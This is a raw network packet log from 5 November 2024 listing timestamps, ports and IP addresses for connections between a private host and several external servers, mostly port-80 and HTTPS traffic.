Nov 5, 2024 10:13:51.367373943 CET	49974	443	192.168.2.5	13.91.96.185
Nov 5, 2024 10:13:51.367394924 CET	49974	443	192.168.2.5	13.91.96.185
Nov 5, 2024 10:13:51.403378963 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.403390884 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.403400898 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.403474092 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.403508902 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.403604031 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.403615952 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.403625011 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.403640985 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.403656006 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.406739950 CET	49989	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:51.406791925 CET	443	49989	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:51.406888962 CET	49989	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:51.407088995 CET	49989	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:51.407100916 CET	443	49989	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:51.440052032 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.440066099 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.440120935 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.440406084 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.440498114 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.440536976 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.467221022 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.467307091 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.467338085 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.467350960 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.467389107 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.467390060 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.467423916 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.467880011 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.467906952 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.467917919 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.467946053 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.467984915 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.469269991 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.469286919 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.469296932 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.469329119 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.469351053 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.469465971 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.469477892 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.469487906 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.469522953 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.469542027 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.469679117 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.469695091 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.469717026 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.469727039 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.469728947 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.469739914 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.469739914 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.469760895 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.469779968 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.488533020 CET	443	49974	13.91.96.185	192.168.2.5
Nov 5, 2024 10:13:51.488554955 CET	443	49974	13.91.96.185	192.168.2.5
Nov 5, 2024 10:13:51.488620043 CET	49974	443	192.168.2.5	13.91.96.185
Nov 5, 2024 10:13:51.488635063 CET	443	49974	13.91.96.185	192.168.2.5
Nov 5, 2024 10:13:51.488976002 CET	49974	443	192.168.2.5	13.91.96.185
Nov 5, 2024 10:13:51.521085024 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.521147966 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.521177053 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.521189928 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.521214962 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.521230936 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.521234989 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.521243095 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.521279097 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.557728052 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.557806969 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.557960033 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.557971001 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.558007956 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.564620018 CET	49990	443	192.168.2.5	23.221.22.215
Nov 5, 2024 10:13:51.564654112 CET	443	49990	23.221.22.215	192.168.2.5
Nov 5, 2024 10:13:51.565052032 CET	49991	443	192.168.2.5	23.221.22.215
Nov 5, 2024 10:13:51.565083981 CET	443	49991	23.221.22.215	192.168.2.5
Nov 5, 2024 10:13:51.565089941 CET	49990	443	192.168.2.5	23.221.22.215
Nov 5, 2024 10:13:51.565136909 CET	49991	443	192.168.2.5	23.221.22.215
Nov 5, 2024 10:13:51.565557003 CET	49992	443	192.168.2.5	23.221.22.215
Nov 5, 2024 10:13:51.565583944 CET	443	49992	23.221.22.215	192.168.2.5
Nov 5, 2024 10:13:51.565632105 CET	49992	443	192.168.2.5	23.221.22.215
Nov 5, 2024 10:13:51.565764904 CET	49990	443	192.168.2.5	23.221.22.215
Nov 5, 2024 10:13:51.565778017 CET	443	49990	23.221.22.215	192.168.2.5
Nov 5, 2024 10:13:51.565931082 CET	49991	443	192.168.2.5	23.221.22.215
Nov 5, 2024 10:13:51.565943956 CET	443	49991	23.221.22.215	192.168.2.5
Nov 5, 2024 10:13:51.566068888 CET	49992	443	192.168.2.5	23.221.22.215
Nov 5, 2024 10:13:51.566080093 CET	443	49992	23.221.22.215	192.168.2.5
Nov 5, 2024 10:13:51.584665060 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.584682941 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.584692955 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.584734917 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.584758997 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.585001945 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.585051060 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.585057974 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.585083961 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.585131884 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.585170031 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.585206985 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.586505890 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.586515903 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.586524963 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.586534977 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.586549997 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.586568117 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.586570978 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.586626053 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.586668968 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.586715937 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.586762905 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.586776972 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.586781979 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.586791992 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.586796999 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.586837053 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.587290049 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.587338924 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.587357998 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.587395906 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.587439060 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.587450027 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.587459087 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.587481976 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.587505102 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.610562086 CET	443	49974	13.91.96.185	192.168.2.5
Nov 5, 2024 10:13:51.610583067 CET	443	49974	13.91.96.185	192.168.2.5
Nov 5, 2024 10:13:51.610676050 CET	49974	443	192.168.2.5	13.91.96.185
Nov 5, 2024 10:13:51.610686064 CET	443	49974	13.91.96.185	192.168.2.5
Nov 5, 2024 10:13:51.610749006 CET	49974	443	192.168.2.5	13.91.96.185
Nov 5, 2024 10:13:51.638247013 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.638266087 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.638309002 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.638319969 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.638324976 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.638325930 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.638350964 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.638374090 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.675165892 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.675189972 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.675200939 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.675251961 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.675283909 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.679255009 CET	443	49976	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.679759026 CET	49976	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.679789066 CET	443	49976	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.680282116 CET	49976	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.680288076 CET	443	49976	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.696464062 CET	443	49977	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:51.696921110 CET	49977	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:51.696942091 CET	443	49977	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:51.697264910 CET	443	49977	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:51.697695971 CET	49977	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:51.697762012 CET	443	49977	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:51.697896957 CET	49977	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:51.701869011 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.701924086 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.701936960 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.701972961 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.702128887 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.702155113 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.702198982 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.702307940 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.702318907 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.702328920 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.702349901 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.702366114 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.703536034 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.703569889 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.703581095 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.703588963 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.703605890 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.703619957 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.703701019 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.703711033 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.703721046 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.703744888 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.703784943 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.703915119 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.703948975 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.703954935 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.703959942 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.703983068 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.703996897 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.704231024 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.704241037 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.704277992 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.704341888 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.704406977 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.704449892 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.727677107 CET	443	49974	13.91.96.185	192.168.2.5
Nov 5, 2024 10:13:51.727701902 CET	443	49974	13.91.96.185	192.168.2.5
Nov 5, 2024 10:13:51.727792025 CET	49974	443	192.168.2.5	13.91.96.185
Nov 5, 2024 10:13:51.727802992 CET	443	49974	13.91.96.185	192.168.2.5
Nov 5, 2024 10:13:51.728215933 CET	49974	443	192.168.2.5	13.91.96.185
Nov 5, 2024 10:13:51.728807926 CET	443	49974	13.91.96.185	192.168.2.5
Nov 5, 2024 10:13:51.728851080 CET	443	49974	13.91.96.185	192.168.2.5
Nov 5, 2024 10:13:51.728878975 CET	49974	443	192.168.2.5	13.91.96.185
Nov 5, 2024 10:13:51.728883982 CET	443	49974	13.91.96.185	192.168.2.5
Nov 5, 2024 10:13:51.728926897 CET	49974	443	192.168.2.5	13.91.96.185
Nov 5, 2024 10:13:51.729064941 CET	49974	443	192.168.2.5	13.91.96.185
Nov 5, 2024 10:13:51.729064941 CET	49974	443	192.168.2.5	13.91.96.185
Nov 5, 2024 10:13:51.729105949 CET	443	49974	13.91.96.185	192.168.2.5
Nov 5, 2024 10:13:51.729279995 CET	443	49974	13.91.96.185	192.168.2.5
Nov 5, 2024 10:13:51.729332924 CET	49974	443	192.168.2.5	13.91.96.185
Nov 5, 2024 10:13:51.729352951 CET	49974	443	192.168.2.5	13.91.96.185
Nov 5, 2024 10:13:51.743325949 CET	443	49977	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:51.746892929 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.746953964 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.747040987 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.747054100 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.747129917 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.755449057 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.755460024 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.755470991 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.755476952 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.755522013 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.755536079 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.755599022 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.755661011 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.755702972 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.773423910 CET	443	49978	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.778497934 CET	49978	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.778532982 CET	443	49978	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.779051065 CET	49978	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.779055119 CET	443	49978	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.792253971 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.792316914 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.792325020 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.792335987 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.792346954 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.792376995 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.792390108 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.804657936 CET	443	49979	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.805016994 CET	49979	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.805052042 CET	443	49979	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.805409908 CET	49979	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.805418015 CET	443	49979	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.818106890 CET	443	49976	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.818500042 CET	443	49976	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.818568945 CET	49976	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.819142103 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.819196939 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.819200039 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.819211960 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.819248915 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.819376945 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.819417953 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.819475889 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.819485903 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.819520950 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.820959091 CET	49976	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.820976973 CET	443	49976	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.821006060 CET	49976	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.821014881 CET	443	49976	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.821229935 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.821254969 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.821266890 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.821309090 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.821320057 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.821331978 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.821342945 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.821369886 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.821388960 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.821397066 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.821400881 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.821433067 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.821717978 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.821774006 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.821809053 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.821822882 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.823199034 CET	443	49981	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.823292971 CET	443	49980	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.824142933 CET	49981	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.824160099 CET	443	49981	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.829077005 CET	443	49977	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:51.829093933 CET	443	49977	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:51.829138041 CET	49977	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:51.829155922 CET	443	49977	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:51.829181910 CET	443	49977	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:51.829221964 CET	49977	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:51.833373070 CET	49981	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.833378077 CET	443	49981	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.844327927 CET	49980	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.844347000 CET	443	49980	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.846884966 CET	49980	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.846889973 CET	443	49980	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.850596905 CET	49977	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:51.850621939 CET	443	49977	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:51.851022959 CET	49993	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:51.851054907 CET	443	49993	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:51.851123095 CET	49993	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:51.852133036 CET	49993	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:51.852145910 CET	443	49993	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:51.863301039 CET	49994	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.863337994 CET	443	49994	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.863441944 CET	49994	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.864207983 CET	49994	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.864223957 CET	443	49994	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.864387989 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.864408970 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.864420891 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.864443064 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.864464045 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.872513056 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.872555017 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.872567892 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.872577906 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.872587919 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.872605085 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.872638941 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.872710943 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.872745991 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.872752905 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.872782946 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.909260988 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.909276009 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.909286022 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.909327030 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.909356117 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.910249949 CET	443	49978	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.910312891 CET	443	49978	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.910387993 CET	49978	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.911834955 CET	49978	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.911850929 CET	443	49978	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.911860943 CET	49978	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.911865950 CET	443	49978	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.915555000 CET	49995	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.915585041 CET	443	49995	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.915646076 CET	49995	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.915855885 CET	49995	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.915870905 CET	443	49995	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.936949015 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.937025070 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.937031031 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.937063932 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.937131882 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.937144995 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.937175035 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.937257051 CET	80	49934	185.215.113.206	192.168.2.5
